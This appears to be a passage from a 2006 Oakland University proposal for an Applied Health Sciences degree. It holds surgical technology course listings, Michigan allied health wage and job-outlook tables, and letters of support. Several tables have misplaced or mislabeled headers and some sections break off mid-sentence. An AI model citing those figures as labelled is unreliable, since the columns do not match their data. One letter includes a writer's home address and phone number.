of scrub person, second assistant, and assistant to the circulator on various surgical procedures. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (24 contact hrs) Center Campus. SURG-1250 - Surgical Specialties 1 4.00 credits Prerequisite: Admission to the Surgical Technology program, ENGL-1180 or ENGL-1210, BIOL-2710, BIOL-2400 or BIOL-2730, HHSC-1700, PHED-2070, SURG-1050, SURG-1060, and SURG-1070. Corequisite: SURG-1051, SURG-1200, SURG-1260 (formerly SRG 125) This course is designed to focus on the perioperative care of surgical patients during endoscopic, general, obstetric and gynecologic, genitourinary, ophthalmic, ENT, and plastic and reconstructive procedures. Students will become familiar with the diagnostic, procedural considerations, operative procedures and instrumentation for these specialties. (4 contact hrs) Center Campus. SURG-1260 - Surgical Pharmacology 3.00 credits Prerequisite: Admission into the Surgical Technology program, and ENGL-1180 or ENGL-1210, BIOL-2710, BIOL-2400 or BIOL-2730, HHSC-1700, PHED-2070, SURG-1050, SURG-1060, and SURG-1070. Corequisite: SURG-1051, SURG-1200, SURG-1250 (formerly SRG 126) This course introduces students to medications used in the operating room. An emphasis is placed on classification, administration, forms, methods, interactions, and desired effects of perioperative medications. This course also describes the surgical technologists' legal responsibilities. (3 contact hrs) Center Campus. SURG-1300 - Surgical Clinical 2 8.00 credits Course Fee: $104.00 Prerequisite: Admission into the Surgical Technology program, and SURG-1051, SURG-1200, SURG-1250, and SURG-1260. Corequisite: SURG-1350, SURG-1360 (formerly SRG 130) This course further develops clinical skills of students to anticipate the surgeons' needs during the schemes of various surgical procedures. Students perfect their roles as a scrub person, second assistant, and assistant to the circulating person on various surgical procedures. This clinical meets three days per week. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (24 contact hrs) Center Campus. SURG-1350 - Surgical Specialties 2 4.00 credits Prerequisite: Admission into the Surgical Technology program, and SURG-1051, SURG-1200, SURG-1250, and SURG-1260. Corequisite: SURG-1300, SURG-1360 (formerly SRG 135) This course is designed to focus on the perioperative care of surgical patients during orthopedic, cardiothoracic, peripheral vascular, neurosurgery, pediatric, geriatric, and emergency surgery. Students will become familiar with the diagnostic, procedural considerations, operative procedures, and instrumentation for these specialties. (4 contact hrs) Center Campus. SURG-1360 - Surgical Seminar 3.00 credits Prerequisite: Admission into the Surgical Technology program, and SURG-1051, SURG-1200, SURG-1250, and SURG-1260. Corequisite: SURG-1300, SURG-1350 (formerly SRG 136) This course includes preparation of the student for professional employment. Students will successfully complete a resume and develop skills in interviewing techniques. Students will develop test-taking skills to take the National Certification Examination utilizing techniques and exercises in successful writing of a standardized exam. (3 contact hrs) Center Campus. SURG-2100 - Body Systems for the Surgical First Assistant 4.00 credits Prerequisite: Admission into Surgical First Assistant program. Corequisite: SURG-2110 This course is designed to review anatomy and physiology related to disease process, surgical treatment and outcomes for the various human body systems. An emphasis will be placed on the role of the Surgical First Assistant regarding surgical treatment and tissue handling. (4 contact hrs) Center Campus. SURG-2110 - Ethical & Legal Responsibilities for the Surgical First Assistant 3.00 credits Prerequisite: Admission into Surgical First Assistant program. Corequisite: SURG-2100 This course will identify ethical and legal responsibilities as they relate to Surgical First Assistants and their relationship with other surgical team members and their care of patients. (3 contact hrs) SURG-2120 - Role of Surgical First Assistant 3.00 credits Course Fee: $75.00 Prerequisite: Admission into Surgical First Assistant program, SURG-2100, and SURG-2110. Corequisite: SURG-2130, SURG-2140 This course will identify the fundamental skills that Surgical Assistant students will need to recognize and develop. These skills include monitoring devices, bladder catheterization, pneumatic tourniquets, skin preparation, surgical draping, instrument selection, responses to bleeding source, suctioning, wound coverings, drainage systems, and specific requirements for endoscopic surgery. Students will learn basic skills and techniques and their applications in the Surgical Technology Lab. (3 contact hrs) Center Campus. SURG-2130 - Anesthesia & Pharmacology for the Surgical First Assistant 2.00 credits Prerequisite: Admission into Surgical First Assistant program, SURG-2100, and SURG-2110. Corequisite: SURG-2120, SURG-2140 This course will help the Surgical Assistant student understand several major principles of anesthesia as they relate to the surgical patient. This course covers principles of anesthesia assessment, preparation of patients prior to surgery, and awareness of the relationship between anesthesia techniques and methods and the surgical procedure being performed. (2 contact hrs) Center Campus. SURG-2140 - Fundamental Skills for the Surgical First Assistant 3.00 credits Prerequisite: Admission into Surgical First Assistant program, SURG-2100, and SURG-2110. Corequisite: SURG-2120, SURG-2130 This course will discuss, identify and address the principles of asepsis and the microbial environment related to the surgical patient. In addition, the Surgical First Assistant student will discuss and address the handling of surgical specimens, thermoregulatory devices, and events that establish the integrity of surgical wounds. (3 contact hrs) Center Campus. SURG-2150 - Surgical First Assistant Clinical 1 2.00 credits Course Fee: $35.00 Prerequisite: Admission into Surgical First Assistant program, SURG-2100, SURG-2110, SURG-2120, SURG-2130, and SURG-2140. In the clinical setting, students will be exposed to a specific number of minor surgical procedures in general, orthopedic, peripheral vascular, and two elective surgical areas. The surgical assistant student will be under the supervision of a qualified preceptor surgeon or his or her designee. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. (6 contact hrs) Center Campus. SURG-2160 - Surgical First Assistant Clinical 2 2.00 credits Course Fee: $35.00 Prerequisite: Admission into Surgical First Assistant program, SURG-2100, SURG-2110, SURG-2120, SURG-2130, SURG-2140, and SURG-2150. A continuation of the clinical experience begun in Surgical First Assistant Clinical 1. In the clinical setting, students will be exposed to a specific number of major surgical procedures in general, orthopedic, peripheral vascular, and two elective surgical areas. The Surgical Assistant student will be under the supervision of a qualified preceptor surgeon or his or her designee. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. (6 contact hrs) Center Campus. **SURG-2901 - Directed Study** *1.00 credits* *Course Fee: $30.00* *Prerequisite:* Approval of directed study agreement Under the direction of an appropriate faculty member, students may pursue studies related to their academic interests on an independent basis. (3 contact hrs) **SURG-2902 - Directed Study** *2.00 credits* *Course Fee: $30.00* *Prerequisite:* Approval of directed study agreement Under the direction of an appropriate faculty member, students may pursue studies related to their academic interests on an independent basis. (2 contact hrs) --- **APPENDIX** **Wages** **Average Annual Wages by Occupational Groups 2005** (in Dollars$) | Occupational Group | Michigan | U.S. | |-------------------------------------|----------|------| | Management | 90,370 | 88,450 | | Business & Financial Operations | 61,090 | 57,930 | | Industry Group | Hourly | Annual | |----------------------------------------------------|---------|----------| | Computer & Mathematical | 62,060 | 67,100 | | Architecture & Engineering | 65,840 | 63,910 | | Life, Physical, & Social Science | 56,620 | 58,030 | | Community & Social Services | 42,390 | 37,530 | | Legal | 80,650 | 81,070 | | Education/Training/Library | 48,590 | 43,450 | | Arts/Design/Entertain/Sports/Media | 45,790 | 44,310 | | Healthcare Practitioners/Technical | 62,530 | 59,170 | | Healthcare Support | 25,450 | 23,850 | | Protective Service | 37,000 | 35,750 | | Food Preparation & Serving Related | 17,580 | 17,840 | | Building/Grounds Cleaning/Maint | 23,990 | 21,930 | | Personal Care & Service | 22,530 | 22,180 | | Sales and Related | 32,170 | 32,800 | | Office & Administrative Support | 30,610 | 29,710 | | Farming, Fishing, & Forestry | 24,260 | 21,010 | | Construction & Extraction | 43,870 | 38,260 | | Installation, Maintenance, & Repair | 42,650 | 38,050 | | Production | 35,960 | 29,890 | | Transportation & Material Moving | 32,010 | 28,820 | **Michigan Area Average Wage Rates 2005** | Area | Average Wage ($) | |-------------------------------------|------------------| | Michigan | 19.25 | | Ann Arbor, MI MSA | 21.55 | | Battle Creek, MI MSA | 16.94 | | Bay City, MI MSA | 17.30 | | Detroit-Livonia-Dearborn, MI MSD | 21.75 | | Annual | 40,040 | | | 44,830 | | | 35,240 | | | 35,980 | | | 45,230 | | Area | Median Wage | Mean Annual Wage | |-------------------------------------------|-------------|------------------| | Detroit-Warren-Livonia, MI MSA | 21.21 | 44,110 | | Flint, MI MSA | 18.32 | 38,110 | | Grand Rapids-Wyoming, MI MSA | 17.85 | 37,120 | | Holland-Grand Haven, MI MSA | 17.49 | 36,380 | | Jackson, MI MSA | 17.64 | 36,700 | | Kalamazoo-Portage, MI MSA | 17.62 | 36,640 | | Lansing-East Lansing, MI MSA | 18.83 | 39,160 | | Monroe, MI MSA | 17.34 | 36,060 | | Muskegon-Norton Shores, MI MSA | 16.41 | 34,130 | | Niles-Benton Harbor, MI MSA | 16.63 | 34,590 | | Saginaw-Saginaw Township North, MI MSA | 17.99 | 37,420 | | Warren-Troy-Farmington Hills, MI MSD | 20.84 | 43,350 | » Access: [Additional Area Wage Rates](#) Copyright © 2001-2006 State of Michigan RESPIRATORY THERAPY TECHNICIANS: MICHIGAN Occupation Description Provide specific, well defined respiratory care procedures under the direction of respiratory therapists and physicians. ### State and National Wages | Location | Pay Period | 2004 | |--------------|------------|---------------| | | | 10% | 25% | Median | 75% | 90% | | United States| Hourly | $12.17 | $14.91 | $18.00 | $21.31 | $25.17 | | | Yearly | $25,300 | $31,000 | $37,400 | $44,300 | $52,400 | | Michigan | Hourly | $11.74 | $13.66 | $17.66 | $22.22 | $25.36 | | | Yearly | $24,400 | $28,400 | $36,700 | $46,200 | $52,700 | Source: Bureau of Labor Statistics, Occupational Employment Statistics Survey; Michigan Department of Labor and Economic Growth, Office of Labor Market Information ### State and National Trends | Location | Employment | Percent Change | Job Openings \(^1\) | |--------------|------------|----------------|----------------------| | United States| | | | | Respiratory therapy technicians | 24,800 | 25,600 | + 3 % | 410 | | Michigan | | | | | Respiratory therapy technicians | 530 | 690 | + 30 % | 20 | \(^1\)Job Openings refers to the average annual job openings due to growth and net replacement. Note: The data for the State Trends and the National Trends are not directly comparable. The projections period for the State Trends is 2002-2012, while the projections period for the National Trends is 2004-2014. Source: Bureau of Labor Statistics, Office of Occupational Statistics and Employment Projections; Michigan Department of Labor and Economic Growth, Office of Labor Market Information 9/7/06 --- **OCCUPATIONAL THERAPIST ASSISTANTS: MICHIGAN** ### Occupation Description Assist occupational therapists in providing occupational therapy treatments and procedures. May, in accordance with State laws, assist in development of treatment plans, carry out routine functions, direct activity programs, and document the progress of treatments. Generally requires formal training. ### State and National Wages | Location | Pay Period | 2004 | |----------------|------------|---------------| | | | 10% | 25% | Median | 75% | 90% | | United States | Hourly | $11.79 | $15.20 | $18.53 | $21.47 | $25.73 | | | Yearly | $24,500 | $31,600 | $38,500 | $44,700 | $53,500 | | Michigan | Hourly | $13.89 | $16.12 | $18.58 | $20.77 | $25.88 | | | Yearly | $28,900 | $33,500 | $38,600 | $43,200 | $53,800 | Source: Bureau of Labor Statistics, Occupational Employment Statistics Survey; Michigan Department of Labor and Economic Growth, Office of Labor Market Information ### State and National Trends | Location | Employment | Percent Change | Job Openings¹ | |----------------|------------|----------------|---------------| | United States | | | | | Occupational therapist assistants | 21,300 | 28,600 | + 34 % | 1,000 | | Michigan | | | | | Occupational therapist assistants | 500 | 670 | + 34 % | 20 | ¹Job Openings refers to the average annual job openings due to growth and net replacement. Note: The data for the State Trends and the National Trends are not directly comparable. The projections period for the State Trends is 2002-2012, while the projections period for the National Trends is 2004-2014. Source: Bureau of Labor Statistics, Office of Occupational Statistics and Employment Projections; Michigan Department of Labor and Economic Growth, Office of Labor Market Information 9/7/06 ### PHYSICAL THERAPIST ASSISTANTS: MICHIGAN #### Occupation Description Assist physical therapists in providing physical therapy treatments and procedures. May, in accordance with State laws, assist in the development of treatment plans, carry out routine functions, document the progress of treatment, and modify specific treatments in accordance with patient status and within the scope of treatment plans established by a physical therapist. Generally requires formal training. ### State and National Wages | Location | Pay Period | 2004 | |--------------|------------|---------------| | | | 10% | 25% | Median | 75% | 90% | | United States| Hourly | $11.61 | $14.98 | $18.39 | $21.33 | $25.36 | | | Yearly | $24,100 | $31,200 | $38,300 | $44,400 | $52,700 | | Michigan | Hourly | $10.68 | $14.39 | $16.72 | $19.53 | $21.40 | | | Yearly | $22,200 | $29,900 | $34,800 | $40,600 | $44,500 | Source: Bureau of Labor Statistics, Occupational Employment Statistics Survey; Michigan Department of Labor and Economic Growth, Office of Labor Market Information ### State and National Trends | Location | Employment | Percent Change | Job Openings | |--------------|------------|----------------|--------------| | | 2004 | 2014 | | | United States| Physical therapist assistants | 58,700 | 84,600 | + 44 % | 3,570 | | Michigan | Physical therapist assistants | 1,950 | 2,600 | + 34 % | 100 | ¹Job Openings refers to the average annual job openings due to growth and net replacement. Note: The data for the State Trends and the National Trends are not directly comparable. The projections period for the State Trends is 2002-2012, while the projections period for the National Trends is 2004-2014. Source: Bureau of Labor Statistics, Office of Occupational Statistics and Employment Projections; Michigan Department of Labor and Economic Growth, Office of Labor Market Information 9/7/06 **Occupation Description** Perform administrative and certain clinical duties under the direction of physician. Administrative duties may include scheduling appointments, maintaining medical records, billing, and coding for insurance purposes. Clinical duties may include taking and recording vital signs and medical histories, preparing patients for examination, drawing blood, and administering medications as directed by physician. Exclude "Physician Assistants". --- **State and National Wages** | Location | Pay Period | 2004 | |--------------|------------|---------------| | | | 10% | 25% | Median | 75% | 90% | | United States| Hourly | $8.80 | $10.08 | $12.03 | $14.17 | $16.87 | | | Yearly | $18,300| $21,000| $25,000| $29,500| $35,100| | Michigan | Hourly | $9.39 | $10.81 | $12.25 | $13.63 | $15.86 | | | Yearly | $19,500| $22,500| $25,500| $28,400| $33,000| Source: Bureau of Labor Statistics, Occupational Employment Statistics Survey; Michigan Department of Labor and Economic Growth, Office of Labor Market Information --- **State and National Trends** | Location | Employment | Percent Change | Job Openings | |--------------|------------|----------------|--------------| | | 2004 | 2014 | | | United States| Medical assistants | 387,100 | 588,600 | + 52 % | 27,310 | | Michigan | Medical assistants | 15,730 | 22,710 | + 44 % | 990 | 1 Job Openings refers to the average annual job openings due to growth and net replacement. Note: The data for the State Trends and the National Trends are not directly comparable. The projections period for the State Trends is 2002-2012, while the projections period for the National Trends is 2004-2014. Source: Bureau of Labor Statistics, Office of Occupational Statistics and Employment Projections; Michigan Department of Labor and Economic Growth, Office of Labor Market Information 9/7/06 **Occupation Description** Compile, process, and maintain medical records of hospital and clinic patients in a manner consistent with medical, administrative, ethical, legal, and regulatory requirements of the health care system. Process, maintain, compile, and report patient information for health requirements and standards. --- **State and National Wages** | Location | Pay Period | 2004 | |----------------|------------|---------------| | | | 10% | 25% | Median | 75% | 90% | | United States | Hourly | $8.69 | $10.10| $12.55| $16.12| $20.36| | | Yearly | $18,100| $21,000| $26,100| $33,500| $42,300| | Michigan | Hourly | $9.12 | $10.72| $13.14| $16.84| $21.87| | | Yearly | $19,000| $22,300| $27,300| $35,000| $45,500| *Source: Bureau of Labor Statistics, Occupational Employment Statistics Survey; Michigan Department of Labor and Economic Growth, Office of Labor Market Information* --- **State and National Trends** | Location | Employment | Percent Change | Job Openings | |----------------|------------|----------------|--------------| | | 2004 | 2014 | | | United States | | | | | Medical records and health information technicians | 158,800 | 204,700 | + 29 % | 6,870 | | Michigan | | | | | | 2002 | 2012 | | | Medical records and health information technicians | 4,820 | 6,340 | + 32 % | 220 | 1. Job Openings refers to the average annual job openings due to growth and net replacement. *Note:* The data for the State Trends and the National Trends are not directly comparable. The projections period for the State Trends is 2002-2012, while the projections period for the National Trends is 2004-2014. Occupation Description Assist in operations, under the supervision of surgeons, registered nurses, or other surgical personnel. May help set up operating room, prepare and transport patients for surgery, adjust lights and equipment, pass instruments and other supplies to surgeons and surgeon's assistants, hold retractors, cut sutures, and help count sponges, needles, supplies, and instruments. State and National Wages | Location | Pay Period | 2004 | |--------------|------------|---------------| | | | 10% | 25% | Median | 75% | 90% | | United States| Hourly | $11.66 | $13.94 | $16.56 | $19.99 | $23.01| | | Yearly | $24,300 | $29,000 | $34,400 | $41,600 | $47,900| | Michigan | Hourly | $13.45 | $15.09 | $17.26 | $19.84 | $21.50| | | Yearly | $28,000 | $31,400 | $35,900 | $41,300 | $44,700| Source: Bureau of Labor Statistics, Occupational Employment Statistics Survey; Michigan Department of Labor and Economic Growth, Office of Labor Market Information State and National Trends | Location | Employment | Percent Change | Job Openings | |--------------|------------|----------------|--------------| | | 2004 | 2014 | | | United States| Surgical technologists | 84,100 | 109,000 | + 30 % | 3,580 | | Michigan | Surgical technologists | 2,090 | 2,510 | + 20 % | 70 | 1 Job Openings refers to the average annual job openings due to growth and net replacement. APPENDIX Interesting Harris Poll results about professions and prestige among college students THE HARRIS POLL #50, October 10, 2001 Doctors The Most Prestigious Of Seventeen Professions And Occupations, Followed By Teachers (#2), Scientists (#3), Clergy (#4) And Military Officers (#5) Businessmen (#17), accountants (#16), bankers (#15), and union leaders (#14) come at the bottom of the list. by Humphrey Taylor More people (61%) think of doctors as having "great prestige" than feel this way about any of the other sixteen occupations and professions which are rated by The Harris Poll®. Doctors are followed by teachers (54% think they have great prestige), scientists (53%), ministers and clergy (43%) and military officers (40%). These are the results of a nationwide survey conducted by Harris Inter-activism of 1,017 adults surveyed by telephone between August 15 and 22, 2001. At the bottom of the list, the occupations with the least prestige are businessmen (12%), accountants (15%), bankers (16%), and labor union. In order to better understand the workforce needs of our new economy, the MEDC conducted a statewide survey of employers, economic developers, educators, MWAs, and other local partners. Eight regional forums were also held around the state to gather input. Finally, several relevant studies were also reviewed to develop our recommendations for action. Data from the Bureau of Labor Statistics (BLS) shows that at least 58 million job openings will be available by 2010 in the United States. BLS estimates that 22 million new jobs will be created in the next nine years and that 36 million more openings may result from retirements and others who leave the labor force.\(^2\) Yet, the labor force may fall more than 4.8 million workers short of meeting demand. Using the BLS data, President Ed Potter of the Employment Policy Foundation is projecting that “there could be at least 12 million professional specialty jobs and more than 5 million managerial openings in the next decade. In these two leading occupational groups, 17 million positions will need to be filled by college or vocational program graduates. However, there may be a shortage of as many as 3.5 million workers with post-secondary education and skills to fill these positions.” Michigan’s workforce is following the national trend. **Growth Occupations** The MDCD has identified the ten fastest growing occupations from 1998 to 2008. Six of these occupations in the information technology sector. The projected growth rate for computer engineers is over 100 percent. Michigan’s fastest growing occupations are primarily in the high-tech fields. **Respiratory Therapists** 1) Resources to match the increase in enrollment are absolutely critical. There must be an improvement on our current situation where we have often been expected to work with increased enrollment without always getting the necessary resources. 2) Numbers for numbers sake may solve the financial problems of the university, but we need to increase the standards for admission so the increased number we admit are qualified to be here. I don't want to see an Oakland University education watered down further just to meet some enrollment goal. 3) Growth should be targeted in areas of future need, not present circumstance. That's all I can think of now. Brian The table below shows new student enrollment by school and college. | | FTIAC | Transfer | Masters | Doctoral | |-------|----------------|-----------------|-----------------|----------------| | | Fall 2006 | Fall 2005 | % diff | Fall 2006 | Fall 2005 | % diff | | CAS | 654 | 717 | -9% | 426 | 472 | -10% | | SBA | 292 | 335 | -13% | 222 | 215 | 3% | | SEHS | 151 | 204 | -26% | 136 | 167 | -19% | | SECS | 204 | 182 | 12% | 97 | 116 | -16% | | SHS | 223 | 149 | 50% | 96 | 60 | 60% | | SON | 277 | 230 | 20% | 258 | 226 | 14% | Hopefully this undergraduate burst bodes well for SHS recapturing some dollars as well as prestige for the Place to go. | 2004 National Employment Matrix code and title | Employment Number 2004 | Employment Number 2014 | Change Number | Change Percent | Quartile rank by 2004 median annual earnings | Most significant source of postsecondary education or training | |-----------------------------------------------|------------------------|------------------------|---------------|---------------|---------------------------------------------|----------------------------------------------------------| | 31-1011 Home health aides | 624 | 974 | 350 | 56.0 | VL | Short-term on-the-job training | | 15-1081 Network systems and data communications analysts | 231 | 357 | 126 | 54.6 | VH | Bachelor's degree | | 31-9092 Medical assistants | 387 | 589 | 202 | 52.1 | L | Moderate-term on-the-job training | | 29-1071 Physician assistants | 62 | 93 | 31 | 49.6 | VH | Bachelor's degree | | 15-1031 Computer software engineers, applications | 460 | 682 | 222 | 48.4 | VH | Bachelor's degree | | 31-2021 Physical therapist assistants | 59 | 85 | 26 | 44.2 | H | Associate degree | | 29-2021 Dental hygienists | 158 | 226 | 68 | 43.3 | VH | Associate degree | | 15-1032 Computer software engineers, systems software | 340 | 486 | 146 | 43.0 | VH | Bachelor's degree | | 31-9091 Dental assistants | 267 | 382 | 114 | 42.7 | L | Moderate-term on-the-job training | | 39-9021 Personal and home care aides | 701 | 988 | 287 | 41.0 | VL | Short-term on-the-job training | | 15-1071 Network and computer systems administrators | 278 | 385 | 107 | 38.4 | VH | Bachelor's degree | | 15-1061 Database administrators | 104 | 144 | 40 | 38.2 | VH | Bachelor's degree | | 29-1123 Physical therapists | 155 | 211 | 57 | 36.7 | VH | Master's degree | | 19-4092 Forensic science technicians | 10 | 13 | 4 | 36.4 | VH | Associate degree | | 29-2056 Veterinary | 60 | 81 | 21 | 35.3 | L | Associate degree | | Occupation | Total | Males | Females | Mean Earnings | Quartile | Education | |-------------------------------------------------|-------|-------|---------|---------------|----------|-----------| | 29-1032 Diagnostic medical sonographers | 42 | 57 | 15 | 34.8 | VH | Associate degree | | 31-2022 Physical therapist aides | 43 | 57 | 15 | 34.4 | L | Short-term on-the-job training | | 31-2011 Occupational therapist assistants | 21 | 29 | 7 | 34.1 | H | Associate degree | | 19-1042 Medical scientists, except epidemiologists | 72 | 97 | 25 | 34.1 | VH | Doctoral degree | | 29-1122 Occupational therapists | 92 | 123 | 31 | 33.6 | VH | Master's degree | | 25-2011 Preschool teachers, except special education | 431 | 573 | 143 | 33.1 | L | Postsecondary vocational award | | 29-2031 Cardiovascular technologists and technicians | 45 | 60 | 15 | 32.6 | H | Associate degree | | 25-1000 Postsecondary teachers | 1,628 | 2,153 | 524 | 32.2 | VH | Doctoral degree | | 19-2043 Hydrologists | 8 | 11 | 3 | 31.6 | VH | Master's degree | | 15-1051 Computer systems analysts | 487 | 640 | 153 | 31.4 | VH | Bachelor's degree | | 47-4041 Hazardous materials removal workers | 38 | 50 | 12 | 31.2 | H | Moderate-term on-the-job training | | 17-2031 Biomedical engineers | 10 | 13 | 3 | 30.7 | VH | Bachelor's degree | | 13-1071 Employment, recruitment, and placement specialists | 182 | 237 | 55 | 30.5 | H | Bachelor's degree | | 17-2081 Environmental engineers | 49 | 64 | 15 | 30.0 | VH | Bachelor's degree | | 23-2011 Paralegals and legal assistants | 224 | 291 | 67 | 29.7 | H | Associate degree | Footnotes: (1) The quartile rankings of Occupational Employment Statistics Survey annual earnings data are presented in the following categories: VH=very high ($43,605 and over), H=high ($28,590 to $43,604), L=low ($20,185 to $28,589), and VL=very low(up to $20,184). The rankings were based on quartiles using one-fourth of total employment to define each quartile. Earnings are for wage and salary workers. (2) An occupation is placed into one of 11 categories that best describes the postsecondary education or training needed by most workers to become fully qualified. For more information about the categories, see Occupational Projections and Training Data, 2004-05 edition, Bulletin 2572 (Bureau of Labor Statistics, March 2004) and Occupational Projections and Training Data, 2006-07 edition, Bulletin 2602 (Bureau of Labor Statistics, forthcoming). MEMORANDUM To: Sue Saliga, Adjunct Instructor and Library Coordinator for the School of Health Sciences From: Shawn V. Lombardo, Coordinator of Collection Development Beth Kraemer, Librarian Liaison to the School of Health Sciences Re: Library collection evaluation for proposed Allied Health major Date: October 31, 2006 In order to complete this library collection evaluation for the proposed undergraduate major in allied health, we reviewed the draft proposal dated October 25, 2006, as well as the library’s current resources related to the health sciences. We have determined the following: Currently, the library’s collections are sufficient to support the research needs of students enrolled in a new allied health major. According to the proposal, no new courses are being developed at this time; in addition, we do not anticipate that the influx of new students—based upon the planned enrollment levels projected in the proposal—will greatly impact the availability of library resources. We believe that the library’s print monograph holdings are sufficient to support this proposed major, as we currently purchase books on such health-related topics as injury prevention, exercise science, nutrition, and ethics in health care. In addition, Kresge Library already subscribes to a number of online resources that would effectively support an Allied Health major, including CINAHL, HealthSource: Nursing/Academic Edition, Health Reference Center Academic, Alt-Health Watch and ABI/Inform; all of these databases provide access to at least some online journal and magazine content. However, due to anticipated annual inflationary cost increases for journals and research databases (historically averaging eight percent or more per year), the library cannot guarantee that we will be able to continue to subscribe to these resources. Therefore, we ask that the library be given $2000 per year to assist us in funding these necessary resources for the proposed Allied Health major. We note that the draft proposal makes mention of possible course offerings at the Macomb University Center. In the likely event of such growth, the library would continue to offer off-campus access to its research databases, which would enable the use of these resources by OU students taking courses at the Macomb University Center. At that point, however, we recommend expansion of the library’s e-books holdings to ensure convenient access to relevant monographs in the field. We anticipate that the library would need at least $500 annually to develop further the library’s online book collection. 12-01-06 Dear Dean Hightower, The new proposed major, Applied Health Sciences, in the School of Health Sciences, is a timely initiative for students seeking additional educational pathways in health related fields. A bachelor’s degree in health is becoming a much sought after degree in the healthcare workforce. The new major is a broad field of study encompassing numerous specializations common in the health care industry, such as respiratory therapy, surgical assistant, physical therapist assistant, occupational therapy assistant, medical assisting, among others. This degree caters to many existing professionals already employed in the health care field but wish to return for higher credentialing opportunities or professional development. In fact, many national professional societies are upgrading licensure requirements from associate degree to baccalaureate degree. Your new proposed program will provide much needed flexibility for past and current students in both Macomb Community College and Oakland University programs. I strongly encourage the development of this degree. Sincerely, Charlene McPeak, Ph.D. Dean, Health and Human Services Macomb Community College November 16, 2006 Dear Ms. Bays: As a Respiratory Therapist at St. John Hospital and Medical Center in Detroit, Michigan and former Macomb Community College Respiratory student, I am becoming increasingly aware of the demand for more extensive education for healthcare providers. To meet the demands of health institutions, including hospitals, homecare companies, extended care facilities (ECF's), and other independent facilities that provide health and medical services, I support all efforts to increase and improve the delivery of educational services. I believe that educational opportunities are important both for the individual who is just entering the health professions arena as well as for those who are seeking opportunities for personal and professional growth within healthcare. I strongly encourage attempts made by the faculty and administration of Macomb Community College in fostering opportunities for growth and learning of its students. I am pleased that there is currently a potential opportunity to establish an affiliation with a reputable institution such as Oakland University and encourage your careful consideration and implementation of such a partnership. Higher education opportunities are needed especially in this area of Allied Health. One reason for this need is that the volume of material the therapist must learn has increased tremendously over the last few decades. Another reason is that the work has become much more complex and critical. To ensure that our patient population receives the best possible care available, it is important that institutions of higher learning participate actively to provide healthcare professionals the tools that are necessary to render such care. Thank you for your consideration in matter, Sincerely: Laurie Kushnier RRT 39615 Clearview Harrison Twp. MI 48045 (586) 954-2614 firstname.lastname@example.org December 8, 2006 Ken Hightower, Ph.D. Dean of the School of Health Sciences Professor Health Sciences Oakland University Rochester, MI 48309 Dear Ken: I am responding to your email requesting my review of and support for OU’s proposed Bachelor’s Degree in Applied Health Sciences. I couldn’t be more pleased to offer that support. Economic forecasts and occupational projections highlight the growing importance of the baccalaureate degree as a minimum educational requirement, if not for initial hire, then certainly for professional advancement. We are very proud of the students we graduate who earn allied health technician degrees in areas such as respiratory, occupational, and physical therapies, as well as those in surgical technology, health information systems, and the like. These graduates are easily and quickly employed, and they provide much-needed and high-quality healthcare services to our community. Your proposed degree offers these graduates an opportunity to advance their careers with a degree that acknowledges their prior learning and builds on their knowledge and experience. Again, I applaud your commitment and support your efforts. I know you have consulted often with our healthcare leaders, so please let me know if there is anything else we can do to further our partnership in this area. Sincerely, Albert L. Lorenzo President MEMO To: Whom It May Concern: From: Ken Hightower, Dean Health Sciences Re: Proposed Major in School of Health Sciences: Applied Health Sciences Date: December 1, 2006 The School of Health Sciences in its continued support of the role and mission of Oakland University to fulfill its distinctive role among Michigan public universities is preparing a new initiative to enhance the intellectual and ethical health care environment. Students will be prepared to lead and serve in the local and world communities. Therefore the School of Health Sciences is preparing to implement more options for our students to enter the community with the best chance for success in health related professions. A new initiative is now being brought forth by the School of Health Sciences so satisfy community needs; namely a new major in Applied Health Sciences. Most of the current majors in Health Sciences are rather comprehensive undergraduate degrees that essentially represent a liberal arts and science degree with some emphasis on health and its underlying science. These undergraduate degrees are primarily for students interested in advanced degrees and certificates. The new proposed major in Applied Health Sciences is a broad field of study encompassing numerous specializations common in the health care industry, such as respiratory therapy, first surgical assistant, medical assistant studies, occupational therapy assistant, physical therapy assistant, and medical informational studies. This new degree caters to many existing professionals already employed in the health care field but wish to return for higher credentialing opportunities or professional development. In fact, many national professional societies are upgrading licensure requirements from associate degree to baccalaureate degree. This new major is also aimed at students who are initially engaged in two-year associate degree programs currently at Macomb Community College who plan to eventually attain additional education for credentialing professional societies. There are vast numbers of students currently employed in health care facilities or enrolled at community colleges who would like to receive a baccalaureate degree and would or could only consider such an option if courses already taken were accepted by Oakland. This “umbrella” major makes this possible in theory. In practice, the proposed degree begins with an existing articulation agreement between OU and Macomb, an agreement that partners us in our broad and shared goals. This new degree will be a natural place for many diverse health care specializations to reside. Our initial efforts will focus on the First Surgical Assistant Program, currently an associate degree program already offered by Macomb. With careful attention to developing our new major core and a thorough analysis of all current curricula, we can allow and encourage students to either go directly from Macomb into the workforce and/or seamlessly enter our undergraduate program with two more years of study to obtain a BS degree in Applied Health Sciences. Oakland University, Macomb Community College, and the State of Michigan will be beneficiaries of this initiative. Eventually, we will build upon this success and add numerous other health care specializations, many of which are in high demand over the next two decades as our population ages and require more help and treatment. I wholeheartedly welcome our collaboration with Macomb Community College and endorse the new major Applied Health Sciences. November 22, 2006 To Whom It May Concern: I am excited to learn that our Macomb Community College alumni and graduates will have an opportunity to transfer their associate of applied science degree towards a bachelor’s degree at Oakland University. Our students have been requesting this type of program for many years. As I understand, many post-secondary educational programs offer a bachelor degree track, but were often limited and inflexible, requiring our students to extend their advanced academic schooling for many years upon graduation. In my opinion, this program will certainly encourage our students to achieve a higher academic degree in a timely manner. Additionally, many of our community employers have expressed a strong interest for advanced education for our alumni. Thank you for creating this plan for our students. Sincerely, Robyn Roncelli, MA, RHIA Coordinator, Health Information Technology Program Memorandum Faculty Support Endorsement: Date: To Whom It May Concern: I am excited to learn that our Macomb Community College alumni and graduates will have an opportunity to transfer their associate of applied science degree towards a bachelor’s degree at Oakland University. Our students have been requesting this type of program for many years. As I understand, many post-secondary educational programs offer a bachelor degree track, but were often limited and inflexible, requiring our students to extend their advanced academic schooling for many years upon graduation. In my opinion, this program will certainly encourage our students to achieve a higher academic degree in a timely manner. Additionally, many of our community employers have expressed a strong interest for advanced education for our alumni. Thank you for creating this plan for our students. Sincerely, [Signature] (Hamrick) November 3, 2006 Tamra Bays, MA, LLPC, 